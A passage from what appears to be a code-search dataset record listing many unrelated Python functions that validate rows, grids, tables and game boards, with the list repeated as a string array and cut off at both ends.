self.table[rowKey]:\n if type(ele) == int:\n return False # means not complete\n return True","def is_valid(self):\n self.errors = {}\n self._process_data()\n self._validate_changes()\n return not self.errors","def check(l):\n rows = split_rows(l)\n columns = split_columns(l)\n for r in rows + columns:\n if 0 in r:\n continue\n if sum(r) != row_sum:\n return False\n return True","def valid(self):\n pass","def eh_tabuleiro(tab):\r\n if not type(tab)==tuple:\r\n return False\r\n if len(tab)==3:\r\n for linha in tab:\r\n if not type(linha)==tuple:\r\n return False\r\n if len(linha)==3:\r\n for num in linha:\r\n if not (num in [-1,0,1] and type(num)==int):\r\n return False\r\n else:\r\n return False\r\n else:\r\n return False\r\n return True","def __bool__(self):\n return self.isValid()","def _index_row_in(cls, row, parse_list):\n\n # Since `row` is a scalar, it need only match the sole entry of one of\n # the lists in `parse_list`:\n for tokens in parse_list:\n if not tokens:\n continue\n if len(tokens) > 1:\n raise ValueError('index row only is scalar')\n if tokens[0] == '*':\n return True\n elif isinstance(tokens[0], (int, long, basestring)):\n if row == tokens[0]:\n return True\n elif type(tokens[0]) == list:\n if row in tokens[0]:\n return True\n elif type(tokens[0]) == slice:\n i_start = tokens[0].start\n i_stop = tokens[0].stop\n if (i_start is None or row >= i_start) and \\\n (i_stop is None or row < i_stop):\n return True\n else:\n continue\n return False","def verify_grid_row_data(self, row_data):\n return self.verify_grid_row_details(self.vendors_div_id, row_data)","def _validate_header(self, header_row):\n\n self.logger.info(\"Validating header row.\")\n \n # assume value.\n is_valid = True\n\n # check if @header_row is perfect.\n required_keys = tuple(self.required_headers.keys())\n if sorted(header_row) == sorted(required_keys):\n self.logger.info(\"Header is valid.\")\n return is_valid\n else:\n self.logger.error(\"Header is invalid.\")\n is_valid = False\n\n # report on any missing header fields.\n missing_headers = [header for header in self.required_headers if header not in\n header_row]\n if len(missing_headers) != 0:\n self.logger.warning(\"Missing required fields: {}\".format(missing_headers))\n \n # report on any duplicate fields.\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\n if len(duplicate_headers) != 0:\n self.logger.warning(\"Found duplicate fields: {}\".format(set(duplicate_headers)))\n\n # report on any extra fields.\n extra_headers = [header for header in header_row if header not in \n self.required_headers]\n if len(extra_headers) != 0:\n self.logger.warning(\"Found extra fields: {}\".format(extra_headers))\n \n return is_valid","def assertTrue(self, conn, sql):\n for row in self.get_query_results(conn, sql):\n self.log.info(\n \"assertTrue:: task: {}, value: {}\".format(self.task_id, str(row))\n )\n retVals = [int(v) for v in row] # presto returns True/False, convert to 1/0\n\n if not all(\n retVals\n ): # if any of the col expressions evaluates to False, then exception condition met\n raise AirflowException(\n \"EtlValidation assertionError: {} from query {}\".format(\n self.task_id, sql\n )\n )","def validate(ob):","def valid_entry(grid, val, row, col):\n if grid[row][col] != 'x':\n return False\n\n # check subgrid\n if val in get_subgrid_values(grid, row, col):\n return False\n\n # check same row\n for c in grid[row]:\n if c == val:\n return False\n\n # check same col\n for r in range(len(grid)):\n if grid[r][col] == val:\n return False\n\n return True","def check_rows(self):\n\t\tfor i in range(len(self.board)):\n\t\t\tpts = 0\n\t\t\tfor j in range(len(self.board[i])):\n\t\t\t\tif self.board[i][j] == self.marker:\n\t\t\t\t\tpts+=1\n\t\t\tif pts == 3:\n\t\t\t\tprint('YOU WON')\n\t\t\t\treturn True","def validate_bed_format(row):\n assert len(row) >= 3, 'Bed Files must have at least 3 tab separated fields.'\n\n return True","def fn(row):\n if len(row) == 1: return True \n for xx in product(*(mp.get((x, y), []) for x, y in zip(row, row[1:]))):\n if fn(xx): return True\n return False","def validate_oee_error_12(self):\n sql = \"\"\"\n SELECT b1.* FROM bdeview b1 \n JOIN bdeview b2 ON b1.rowintable=b2.rowintable-1 \n WHERE CAST(b1.f11 AS INTEGER) > CAST(b2.f11 AS INTEGER)\n \"\"\"\n lines = self.c.execute(sql).fetchall()\n return lines==[], lines","def check_rows(self, win: list) -> bool:\r\n for row in self.tags:\r\n for j in range(len(row) - len(win) + 1):\r\n if win == row[j:j+self.win_condition]:\r\n return True","def __checkcolumns(self, lista: List[str]) -> True:\r\n\r\n if isinstance(lista, list) is False:\r\n raise TypeError(f\"{lista} has to be a list.\")\r\n if len(lista) != 10:\r\n raise ValueError(f\"{lista} must have 10 columns\")\r\n\r\n errorlista = []\r\n\r\n # Regarding 'self.tiposDisponiveis',\r\n # Layer and Marked happens on the same column.\r\n # if there is 'layer', 'marked' won't show up, and viceversa.\r\n # Therefore 'self.tiposDisponiveis' is a list with 11 elements. While 'lista' is a list with 10 elements.\r\n\r\n for _ in lista:\r\n # searching for 'Layer'\r\n if self.tiposDisponiveis[0].lower() == _.lower():\r\n break\r\n else:\r\n # if 'Layer' wasn't found, searching for 'Marked'\r\n for _ in lista:\r\n if self.tiposDisponiveis[1].lower() == _.lower():\r\n break\r\n else:\r\n # If none of the two are present on the line, add to the error list\r\n errorlista.append(\"Layer Or Marked\")\r\n \r\n # repeat the search for all the remaining required values\"\"\"\r\n for _ in range(2, len(self.tiposDisponiveis)-1):\r\n for x in lista:\r\n if x.lower() == self.tiposDisponiveis[_].lower():\r\n break\r\n else:\r\n # Didn't find this column in the list\r\n errorlista.append(f\"{self.tiposDisponiveis[_]}\")\r\n\r\n # Raising the errors, if any occurred.\r\n if len(errorlista) > 0:\r\n raise ValueError(f\"{errorlista} <- These columns are missing from format.\")\r\n\r\n # Last column has to be 'Text'\r\n if lista[9].lower() != self.tiposDisponiveis[10].lower():\r\n raise ValueError(f\"{lista[9]} last element has to be 'Text'.\")\r\n \r\n return True","def is_valid(array, index):\n row, column = index\n return 0 <= row < len(array) and 0 <= column < len(array[row])","def validate():","def IsValid(self):\n return False","def _pre_check(self) -> bool:\n if self._fuse_row:\n rows = (\n self._tiling.cells_in_row(self._row_idx),\n self._tiling.cells_in_row(self._row_idx + 1),\n )\n else:\n rows = (\n self._tiling.cells_in_col(self._col_idx),\n self._tiling.cells_in_col(self._col_idx + 1),\n )\n has_a_long_row = any(len(row) > 1 for row in rows)\n if has_a_long_row:\n return False\n first_cell = next(iter(rows[0]))\n second_cell = next(iter(rows[1]))\n cells_are_adjacent = (\n first_cell[0] == second_cell[0] or first_cell[1] == second_cell[1]\n )\n if not cells_are_adjacent:\n return False\n same_basis = (\n self._tiling.cell_basis()[first_cell][0]\n == self._tiling.cell_basis()[second_cell][0]\n )\n if not same_basis:\n return False\n self._first_cell = first_cell\n self._second_cell = second_cell\n return True","def valid_state(line): # line is an instance of Order class\n state = line.o_state \n invalid_state = state in app.config.get('ALLOWED_STATES')\n if invalid_state:\n rule = 'Allowed states'\n new_row = Error(e_name=rule, order_key=line.primary_key)\n line.errors.append(new_row)\n return False\n return True","def check(self) -> bool:\n\n\t\treturn all([all(row) for row in self.board])","def check(self, row):\n self.errors = []\n\n # checks the row\n if not row:\n self.log_error('None object given to consistency checker')\n return self.errors\n for key in ['repo_name', 'commit_id']:\n if key not in row:\n self.log_error('Row is missing key \"{}\"'.format(key))\n return self.errors\n\n repo_name = row['repo_name']\n commit_id = row['commit_id']\n\n if not repo_name:\n self.log_error('Empty repo_name in table')\n return self.errors\n\n if not commit_id:\n self.log_error(\"{0}: empty 'commit_id'\".format(repo_name))\n return self.errors\n\n if 'package' not in row or not row['package']:\n self.log_error(\"{0}: 'package' not found\".format(repo_name))\n return self.errors\n\n try:\n manifest = json.loads(row['package'])\n except Exception as e:\n self.log_error('{0}: unable to decode \"manifest\" - {1}'.format(repo_name, e))\n return self.errors\n\n # check manifest\n try:\n ConsistencyChecker.check_manifest(manifest)\n except Exception as e:\n self.log_error('{0}: {1}'.format(repo_name, e))\n return self.errors\n\n # check formats\n if not 'formats' in manifest:\n self.log_error('{0}: manifest missing key \"{1}\"'.format(repo_name, 'formats'))\n if not isinstance(manifest['formats'], list):\n self.log_error(\"{0}: manifest key formats must be an array\".format(repo_name))\n\n return self.errors","def _isvalid(self, data):\n if data is None:\n return False\n elif isinstance(data, (list,tuple)):\n if len(data) <= 0:\n return False\n else:\n return True\n elif isinstance(data, (np.ndarray)):\n if data.size <= 0:\n return False\n else:\n return True\n elif not data:\n return False\n else:\n return True","def valid(self) -> bool:\n are_populated = [bool(getattr(self, fld_nm)) for fld_nm in self.necessary_fields]\n return all(are_populated)","def valid(self):\n if (self._npix == []\n or self._gpix == []\n or self._epix == []\n or self._ppix == []) :\n return False\n return True","def check_pivot(self):\n cur = self.conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\n cur.execute(\"SELECT count(*) as count FROM comuni\")\n if cur.fetchone()['count'] == 0:\n return False\n\n return True","def validate_data(self, row, col, value):\n start = self.data(self.index(row, 1), QtCore.Qt.DisplayRole)\n stop = self.data(self.index(row, 2), QtCore.Qt.DisplayRole)\n step = self.data(self.index(row, 3), QtCore.Qt.DisplayRole)\n isstep = False\n if col == 1: # the start\n start = value\n elif col == 2: # the stop\n stop = value\n elif col == 3: # the step\n isstep = True\n step = value\n\n if np.abs(step) < 1e-12 or start == stop:\n return False\n if np.sign(stop - start) != np.sign(step):\n if isstep:\n self._data[row][2] = -stop\n else:\n self._data[row][3] = -step\n return True","def valid_image(self, image):\n valid = False\n if (isinstance(image, list) and len(image) == 11):\n valid = True\n for row in image:\n if (isinstance(row, list) and len(row) == 11):\n for pixel in row:\n if not self.valid_color(pixel):\n valid = False\n break\n else:\n valid = False\n break\n if not valid:\n _LOGGER.error(\"Invalid image data received\")\n return valid","def test_table_false_positives(self):\n pass","def valid(self):\n return len(self.missing()) == 0","def test_is_primary_data(self):\n\n self.validator.adata.obs[\"is_primary_data\"] = \"FALSE\"\n self.validator.validate_adata()\n self.assertEqual(\n self.validator.errors,\n [\n \"ERROR: Column 'is_primary_data' in dataframe 'obs' \"\n \"must be boolean, not 'object'.\"\n ],\n )","def is_valid(self):\n\n return True","def checkStructure(self, result, resultType):\n res = True\n if resultType:\n try:\n structure = json.loads(resultType)\n result_structure = self.getStructure(result)\n res = structure[\"type\"] == result_structure[\"type\"] and all(elem in list(result_structure[\"columns\"])\n for elem in list(structure[\"columns\"])) and all(elem in list(result_structure[\"indexes\"])\n for elem in list(structure[\"indexes\"]))\n except Exception as ex:\n print(f\"Error checking structure: {ex}\")\n\n return res","def getBooleanRow(self, int: int) -> typing.List[bool]:\n ...","def validate(self):\n validated = True \n # Check that all parameters exist in the self.parameters dictionary\n for param_name in self._SCALAR_PARAMETERS:\n if param_name not in self.parameters:\n LOG.critical('%s not found in %s', param_name, self.filename)\n validated = False \n \n for param_name in self._TABLE_PARAMETERS:\n if not all([elem for elem in self.parameters[param_name]]):\n LOG.critical('%s not found in %s', param_name, self.filename)\n validated = False\n \n return validated","def check_row(self, num, num_row):\n row = self.return_row(num_row)\n for board_num in row:\n if num == board_num:\n return True\n return False"],"string":"[\n \"def is_valid_row(self):\\r\\n return self.valid_row\",\n \"def validate(self, row):\\n raise NotImplementedError\",\n \"def _validate_row(self, row):\\n\\n # assume value.\\n is_valid = True\\n\\n # test if each field in @row has the correct data type.\\n tests = []\\n for field, value in row.items():\\n value_type, header_type = (type(value).__name__, \\n self.required_headers[field].__name__)\\n test = value_type == header_type\\n if not test:\\n err = \\\"Field '{}' not valid; expected '{}', got '{}'.\\\".format(field,\\n header_type, value_type)\\n self.logger.debug(err)\\n tests.append(test)\\n\\n # if any test failed, set @is_valid to False.\\n if False in tests:\\n is_valid = False\\n \\n return is_valid\",\n \"def __is_valid_row(self, row_number):\\n return self.__is_valid((row_number, 0))\",\n \"def is_valid_row(self, row):\\n\\n empty = (\\\"\\\", \\\"Vacant\\\")\\n if not any(row.values()):\\n return False\\n if \\\"first name\\\" in row and \\\"last name\\\" in row:\\n return row[\\\"last name\\\"] not in empty and row[\\\"first name\\\"] not in empty\\n return row[\\\"name\\\"] not in empty\",\n \"def validRow(content,start,row):\\n\\t\\t\\tcur_id = content[1].id\\n\\t\\t\\ttry:\\n\\t\\t\\t\\tnext_c = row[start+content[1].length]\\n\\t\\t\\texcept IndexError:\\n\\t\\t\\t\\treturn True\\n\\t\\t\\tif next_c != None:\\n\\t\\t\\t\\tif cur_id != next_c[1].id:\\n\\t\\t\\t\\t\\treturn True\\n\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t#print \\\"row not valid\\\"\\n\\t\\t\\t\\t\\treturn False\\n\\t\\t\\telse:\\n\\t\\t\\t\\treturn True\",\n \"def is_valid(self):\\n if self.get_row() != -1 and self.get_column() != -1:\\n return True\\n else:\\n return False\",\n \"def isValid(self):\\n for ir in range(self.nRow): # Check rows for duplicates\\n row = ir + 1\\n vals = {}\\n for ic in range(self.nCol):\\n col = ic + 1\\n val = self.getCellVal(row=row, col=col)\\n if not self.isEmpty(val):\\n if val in vals:\\n SlTrace.lg(f\\\"doing row {row} at col={col} val={val} vals={vals} invalid\\\")\\n SlTrace.lg(f\\\"row:{row} vals: {self.getRowVals(row)} col:{col} vals: {self.getColVals(col)}\\\")\\n return False\\n vals[val] = val\\n \\n for ic in range(self.nCol): # Check cols for duplicates\\n col = ic + 1\\n vals = {}\\n for ir in range(self.nRow):\\n row = ir + 1\\n val = self.getCellVal(row=row, col=col)\\n if not self.isEmpty(val):\\n if val in vals:\\n SlTrace.lg(f\\\"at row={row} doing col={col} val={val} vals={vals} invalid\\\")\\n SlTrace.lg(f\\\"row:{row} vals: {self.getRowVals(row)} col:{col} vals: {self.getColVals(col)}\\\")\\n return False\\n vals[val] = val\\n return True\",\n \"def check_meatadata_row(validated, input_validate_dict, row, idx):\\n\\n if row['RealCrystalName'].isspace() or row['RealCrystalName'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'RealCrystalName spaces or null', idx + 2)\\n validated = False\\n if row['crystal_name'].isspace() or row['RealCrystalName'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name spaces or null', idx + 2)\\n validated = False\\n if row['RealCrystalName'] not in row['crystal_name']:\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Crystal name does not contain RealCrystalName', idx + 2)\\n validated = False\\n if row['smiles'] == 'nan':\\n add_tset_warning(input_validate_dict, 'Metadata.csv', 'Smiles null', idx + 2)\\n validated = False\\n\\n return validated, input_validate_dict\",\n \"def is_rows_valid(bd):\\n for row in rows:\\n seen = []\\n for num in nums:\\n if bd[row[num]] == \\\" \\\":\\n continue\\n elif bd[row[num]] not in seen:\\n seen += [bd[row[num]]]\\n else:\\n return False\\n else:\\n continue\\n return True\",\n \"def validate(self, field, row):\\n raise NotImplementedError\",\n \"def validate_data(self, row, col, value):\\n\\n return True\",\n \"def _valid_result(res):\\n (HEADER, RESULTS) = [0,1]\\n ok = (isinstance(res, (tuple, list)) and \\n len(res) == 2 and\\n isinstance(res[HEADER], (tuple, list)) and\\n isinstance(res[RESULTS], (tuple, list)))\\n if not ok:\\n return False\\n\\n n = len(res[HEADER])\\n def _valid_row(row):\\n return isinstance(row, (tuple, list)) and len(row) == n\\n return reduce(and_, (_valid_row(x) for x in res[RESULTS]), True)\",\n \"def _is_valid(self):\\n for cell in self._cells_iterable():\\n if cell not in self._valid_elements:\\n return False\\n return True\",\n \"def validate(session, row):\\n if row.operation == odl_const.ODL_DELETE:\\n return _is_valid_delete_operation(session, row)\\n elif row.operation == odl_const.ODL_UPDATE:\\n # If the update itself isn't valid fail before checking possible\\n # dependent operations.\\n if not _is_valid_update_operation(session, row):\\n return False\\n elif row.operation != odl_const.ODL_CREATE:\\n raise ValueError(_(\\\"unsupported operation {}\\\").format(row.operation))\\n\\n # Validate dependencies if there are any to validate.\\n dep_generator = _CREATE_OR_UPDATE_DEP_GENERATOR.get(row.object_type)\\n if dep_generator is not None:\\n object_ids = dep_generator(row.data)\\n if object_ids is not None:\\n return _no_older_operations(session, object_ids, row)\\n\\n return True\",\n \"def is_valid(self, data_model: DataModel) -> bool:\",\n \"def _is_row(table):\\n import astropy.io.fits.fitsrec\\n import astropy.table.row\\n if isinstance(table, (astropy.io.fits.fitsrec.FITS_record, astropy.table.row.Row)) or \\\\\\n np.isscalar(table):\\n return True\\n else:\\n return False\",\n \"def ok_to_delete_row(self, row):\\n if self.is_new_row(row):\\n return False, _('Unable to delete new row')\\n elif row == 0:\\n return False, _('Unable to delete sofa id row')\\n elif self.new_is_dirty:\\n return (False, _(\\n 'Cannot delete a row while in the middle of making a new one'))\\n else:\\n return True, None\",\n \"def test_is_valid_row(self):\\n dognames = student_submission.read_csv('./dognames.csv')\\n\\n self.assertTrue(student_submission.is_valid_row(dognames[999]),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], sex='m'),\\n 'Your implementation seems wrong')\\n self.assertTrue(student_submission.is_valid_row(dognames[999], year=2010, sex='m'),\\n 'Your implementation seems wrong')\\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2006, sex='m'),\\n 'Your implementation seems wrong')\\n self.assertFalse(student_submission.is_valid_row(dognames[999], year=2010, sex='w'),\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i]) for i in range(len(dognames))), 6980,\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], sex='w') for i in range(len(dognames))), 3549,\\n 'Your implementation seems wrong')\\n\\n self.assertEqual(sum(student_submission.is_valid_row(dognames[i], year=2000) for i in range(len(dognames))), 118,\\n 'Your implementation seems wrong')\",\n \"def VerifyRow(self, parser_mediator, row):\\n if len(row) != self._NUMBER_OF_COLUMNS:\\n return False\\n\\n # If the date and time string cannot be converted into a date time object,\\n # then do not consider this to be a McAfee AV Access Protection Log.\\n try:\\n self._CreateDateTime(row['date'], row['time'])\\n except errors.ParseError:\\n return False\\n\\n # Use the presence of these strings as a backup or in case of partial file.\\n status = row['status']\\n if 'Access Protection' not in status and 'Would be blocked' not in status:\\n return False\\n\\n return True\",\n \"def is_valid(self): # -> bool:\\n ...\",\n \"def validRowCol(content,start,row,schedule):\\n\\t\\t\\tif validRow(content,start,row) and \\\\\\n\\t\\t\\t\\tvalidCol(content,start,schedule):\\n\\t\\t\\t\\treturn True\\n\\t\\t\\telse:\\n\\t\\t\\t\\treturn False\",\n \"def is_valid(row, peg):\\n return (\\n (row < TRI_SIZE) and\\n (row >= 0) and\\n (peg < TRI_SIZE) and\\n (peg >= 0) and\\n (peg <= row)\\n )\",\n \"def compare_resources_validate(row):\\n\\n ckan_id = row['id']\\n extras = row.get('extras', False)\\n if not extras:\\n error = f'The CKAN dataset {ckan_id} does not have the \\\"extras\\\" property'\\n logging.error(error)\\n return False, error\\n \\n identifier = None\\n for extra in extras:\\n if extra['key'] == 'identifier':\\n identifier = extra['value']\\n\\n if identifier is None:\\n error = f'The CKAN dataset {ckan_id} does not have an \\\"identifier\\\"'\\n logging.error(error)\\n return False, error\\n\\n return True, None\",\n \"def isFormatOk(self, row):\\n try:\\n date = datetime.strptime(row[0], \\\"%m/%d/%Y\\\").date()\\n state = fix_text(row[1])\\n impressions = int(row[2])\\n if impressions < 0:\\n raise ValueError\\n CTR = float(row[3].replace(\\\"%\\\",\\\"\\\"))\\n if CTR < 0 or CTR > 1:\\n raise ValueError\\n except ValueError as e:\\n print(f\\\"Wrong format of provided data {row}\\\", file=sys.stderr)\\n return False\\n return Record(date=date, state=state, impressions=impressions, CTR=CTR)\",\n \"def validate_oee_error_6(self):\\n sql = \\\"\\\"\\\"\\n SELECT b.* FROM bdeview b \\n WHERE rowintable=(SELECT rowintable FROM bdeview WHERE f7<>'@17' LIMIT 1) \\n AND f7 NOT IN (SELECT code FROM activitycode WHERE item IN ('@95','MR'))\\n \\\"\\\"\\\"\\n lines = self.c.execute(sql).fetchall()\\n #return lines==[], lines\\n return True, []\",\n \"def is_posssible_row(self,row,user_value):\\n for col in range(9):\\n if self.arr[row][col] == user_value:\\n logging.debug(f\\\"is_posssible_row(): (False) row: {row} col: {col} arr{self.arr[row][col]} == {user_value}\\\")\\n return False\\n logging.debug(f\\\"is_posssible_row(): (True) row: {row} col: {col} arr{self.arr[row][col]} != {user_value}\\\")\\n return True\",\n \"def is_valid(self, dataset):\\n pass\",\n \"def is_legal(self):\\n if not self._is_valid():\\n return False\\n\\n if not self._check_all(self.get_rows()):\\n return False\\n\\n if not self._check_all(self.get_cols()):\\n return False\\n\\n if not self._check_all(self.get_blocks()):\\n return False\\n\\n return True\",\n \"def check_row(row):\\n \\n if len(row) != _ncols:\\n raise ValueError(\\\"Row contains {0} columns, expected {1}!\\\\n\\\\n{2}\\\\n\\\".format(len(row), _ncols, row))\",\n \"def row_contains_data(fieldnames, row):\\n for field in fieldnames:\\n if row.get(field):\\n return True\\n return False\",\n \"def is_valid(self,row,col) -> bool:\\n if(row >=0 and col>=0 and row<self.row and col<self.col and self.array[row][col]==-1 ):\\n return True\\n return False\",\n \"def hasrow_check(cur,code,table,failvalue):\\n cur.execute(code)\\n result = cur.fetchall()[0][0]\\n if result == failvalue:\\n print(f\\\"Data quality check failed. {table} has no rows.\\\")\\n else:\\n print(f\\\"Data quality check passed. {table} has rows\\\")\",\n \"def __bool__(self):\\r\\n return self.valid\",\n \"def check_data(self):\\n\\n for i in range(len(self.full_ed_lines)):\\n if self.full_ed_lines[i].text() != \\\"\\\":\\n if self.full_ed_lines[i].hasAcceptableInput():\\n continue\\n else:\\n if i == 1:\\n self.msg2Statusbar.emit('Неправильный формат версии! Исправьте и повторите действие!')\\n elif i == 5:\\n self.msg2Statusbar.emit('Неправильная почта! Исправьте и повторите действие!')\\n return False\\n else:\\n self.msg2Statusbar.emit('Не все поля заполнены! Исправьте и повторите действие!')\\n return False\\n return True\",\n \"def check_row(row, player):\\n for marker in row:\\n if marker != player:\\n return False\\n return True\",\n \"def is_valid(columns, row, col):\\n # `row` is the current row; check against all previous rows\\n for r in range(row):\\n c = columns[r]\\n # Check column\\n if c == col:\\n return False\\n # Check diagonal\\n if abs(c - col) == row - r:\\n return False\\n return True\",\n \"def valid(self):\\r\\n if self.file_exists and len(self.missing_columns) == 0 and len(self.veg_columns) > 0 and \\\\\\r\\n len(self.lat_errors) == 0 and len(self.lon_errors) == 0 and len(self.time_errors) == 0 and len(self.date_errors) == 0:\\r\\n return True\\r\\n else:\\r\\n return False\",\n \"def check_validity(self):\",\n \"def valid_input(self, row, col):\\n return ((row, col) not in self.marks and\\n row <= WIDTH and row > 0 and\\n col in COL_MAP)\",\n \"def _validate(self, obj):\\n assert (self._confidence in obj.columns and self._predicted in obj.columns\\n and self._groundtruth in obj.columns), \\\\\\n \\\"Must at least have '%s', '%s' and '%s' columns.\\\" \\\\\\n % (self._confidence, self._predicted, self._groundtruth)\\n assert len(obj['groundtruth']) == len(obj['predicted']) == len(obj['confidence']), \\\\\\n \\\"Dataframe columns are inconsistent \\\"\\n\\n if len(obj.index) < 2:\\n self._logger.fatal(\\\"Stored procedure returned empty dataframe\\\")\\n raise RuntimeError(\\\"Stored procedure returned empty dataframe\\\")\\n\\n self._logger.debug(obj.head)\",\n \"def validate_oee_error_11(self):\\n sql = \\\"SELECT CAST(f2 AS INTEGER) FROM reporting ORDER BY ROWID DESC LIMIT 1\\\"\\n res = self.c.execute(sql).fetchall()\\n if res == []:\\n return True, []\\n else:\\n sql = \\\"SELECT * FROM bdeview WHERE CAST(f2 AS INTEGER)<=%d\\\" % res[0][0]\\n lines = self.c.execute(sql).fetchall()\\n return lines==[], lines\",\n \"def check(self):\\n for row in self.grid:\\n for i in range(1, 10):\\n if row.count(i) != 1:\\n return False\\n\\n for col in range(9):\\n lst = [row[col] for row in self.grid]\\n for i in range(1, 10):\\n if lst.count(i) != 1:\\n return False\\n \\n for i in range(3):\\n for j in range(3):\\n lst = [row[j* 3:(j*3) + 3] for row in self.grid[i * 3:(i*3) + 3]] \\n flat_list = []\\n for k in lst:\\n for number in k:\\n flat_list.append(number)\\n \\n for check_number in range(1, 10):\\n if flat_list.count(check_number) != 1:\\n return False\\n return True\",\n \"def __check_row(self, x: int, y: int) -> bool:\\n return not any([self.__maze[x, y + i] for i in (-1, 0, 1)])\",\n \"def is_valid(self):\\n return self.has_valid_values() and self.has_valid_sum()\",\n \"def validCol(content,start,schedule):\\n\\t\\t\\tcur_id = content[1].id\\n\\t\\t\\t#print \\\"cur_id,length,start\\\",cur_id,content[1].length,start\\n\\t\\t\\tflag = 0\\n\\t\\t\\tfor i in range(content[1].length):\\n\\t\\t\\t\\tfor j in range(len(schedule.w)):\\n\\t\\t\\t\\t\\t#print start,i,content[1]\\n\\t\\t\\t\\t\\tif schedule.w[j][start+i]!=None and \\\\\\n\\t\\t\\t\\t\\t\\tschedule.w[j][start+i][1].id == cur_id:\\n\\t\\t\\t\\t\\t\\tflag += 1\\n\\t\\t\\tif flag != content[1].length:\\n\\t\\t\\t\\t#print \\\"col not valid\\\",flag,content[1].length,cur_id\\n\\t\\t\\t\\treturn False\\n\\t\\t\\telse:\\n\\t\\t\\t\\treturn True\",\n \"def validation(self, row, ts_row):\\n\\n\\t\\t#Creates dataframes of LAR and TS data. \\n\\t\\tlar_data = pd.DataFrame(row, index=[1])\\n\\t\\tts_data = pd.DataFrame(ts_row, index=[0])\\n\\n\\t\\t#Instantiates a rules checker to check the row against edits in the rules engine. \\n\\t\\t#Loads LAR and TS data to the rules engine to validate LAR data and return an edit report\\n\\t\\tself.lar_validator.load_lar_data(lar_data)\\n\\t\\tself.lar_validator.load_ts_data(ts_data)\\n\\n\\t\\t#Runs the edits against the LAR row and produces edit check results. \\n\\t\\tfor func in dir(self.lar_validator):\\n\\t\\t\\tif func[:1] in (\\\"s\\\", \\\"v\\\") and func[1:4].isdigit()==True:\\n\\t\\t\\t\\tgetattr(self.lar_validator, func)(row)\\n\\t\\t\\n\\t\\t#Returns edit check results. \\n\\t\\treturn self.lar_validator.results\",\n \"def validate_oee_error_13(self):\\n sql = \\\"SELECT CAST(f11 AS INTEGER) FROM reporting ORDER BY ROWID DESC LIMIT 1\\\"\\n res = self.c.execute(sql).fetchall()\\n if res == []:\\n return True, []\\n else:\\n sql = \\\"SELECT * FROM bdeview WHERE CAST(f11 AS INTEGER)<=%d\\\" % res[0][0]\\n lines = self.c.execute(sql).fetchall()\\n return lines==[], lines\",\n \"def validate(self, root):\\n if not isinstance(root, list):\\n parser.error('Root object is not a list')\\n if root:\\n expected_type = type(root[0])\\n if expected_type not in [list, dict]:\\n parser.error('First row is a {}, not a list or dictionary'.format(expected_type))\\n for item in root:\\n if type(item) != expected_type:\\n parser.error('Row type does not match first row')\\n for col in item:\\n if type(col) not in [str, unicode, int, float, bool]:\\n parser.error('Row column is unexpected type')\",\n \"def __bool__(self):\\n return self.is_valid\",\n \"def validate(self):\\n\\t\\trVal = False\\n\\t\\t#return rVal\\n\\t\\treturn True\",\n \"def valid(self) -> bool:\\n pass\",\n \"def is_satisfied(self, data):\\n if self.__col == None and self.__val == None:\\n return True\\n \\n return data[0, self.__col] == self.__val\",\n \"def validate_csv(filename, header, cols, rows):\\n\\n # open file\\n data = pd.read_csv(filename, delimiter='|')\\n\\n # validate header\\n assert header == '|'.join(list(data.columns.values))\\n\\n # validate column count\\n assert data.shape[1] == cols\\n\\n # validate row count\\n assert data.shape[0] == rows\\n\\n # return (header_result == column_result == row_result) is True\",\n \"def a_list(test_val: object, test_col: object, valid_values: object) -> object:\\n tv_upper = test_val.upper()\\n rc: bool = True\\n # noinspection PyTypeChecker\\n value_list = [x[test_col] for x in valid_values]\\n value_list_upper = [x.upper() for x in value_list]\\n if tv_upper not in value_list_upper:\\n print(f'{test_val} is invalid. Valid values are {str(value_list)}')\\n rc = False\\n return rc\",\n \"def validate(self):\\n # rVal = False\\n # return rVal\\n return True\",\n \"def is_valid(self):\\n return not self.errors\",\n \"def valid(self):\\n # Verify correct vertex values\\n self.verify_vertex_values()\\n # Check for duplicate values in lines\\n for line in range(9):\\n seen = []\\n for row in range(9):\\n if self.grid[line][row] is None:\\n pass\\n elif self.grid[line][row] in seen:\\n return False\\n else:\\n seen.append(self.grid[line][row])\\n # Check for duplicate values in rows\\n for row in range(9):\\n seen = []\\n for line in range(9):\\n if self.grid[line][row] is None:\\n pass\\n elif self.grid[line][row] in seen:\\n return False\\n else:\\n seen.append(self.grid[line][row])\\n # Check for duplicate values in subgrids\\n for (subgrid_line, subgrid_row) in [(subg_ln, subg_rw) for subg_ln in range(3) for subg_rw in range(3)]:\\n seen = []\\n for (line, row) in [(ln, rw) for ln in range(3) for rw in range(3)]:\\n if self.grid[3*subgrid_line + line][3*subgrid_row + row] is None:\\n pass\\n elif self.grid[3*subgrid_line + line][3*subgrid_row + row] in seen:\\n return False\\n else:\\n seen.append(self.grid[3*subgrid_line + line][3*subgrid_row + row])\\n # No duplicates found\\n return True\",\n \"def valid(self) -> bool:\\n return True\",\n \"def val_in_row(self, table, val, row_index): \\n\\n #Get column names of table\\n columns = self.table_col_names(table)\\n \\n\\n all_rows=self.all_rows(table)\\n flag=False\\n for col in columns:\\n if val==all_rows[row_index][col]:\\n flag=True\\n return flag\",\n \"def is_row_complete(self, row):\\n return not any(self.get_cell_value(coords) == 0 for coords in row)\",\n \"def checkGameComplete(self):\\n for rowKey in self.table:\\n for ele in self.table[rowKey]:\\n if type(ele) == int:\\n return False # means not complete\\n return True\",\n \"def is_valid(self):\\n self.errors = {}\\n self._process_data()\\n self._validate_changes()\\n return not self.errors\",\n \"def check(l):\\n rows = split_rows(l)\\n columns = split_columns(l)\\n for r in rows + columns:\\n if 0 in r:\\n continue\\n if sum(r) != row_sum:\\n return False\\n return True\",\n \"def valid(self):\\n pass\",\n \"def eh_tabuleiro(tab):\\r\\n if not type(tab)==tuple:\\r\\n return False\\r\\n if len(tab)==3:\\r\\n for 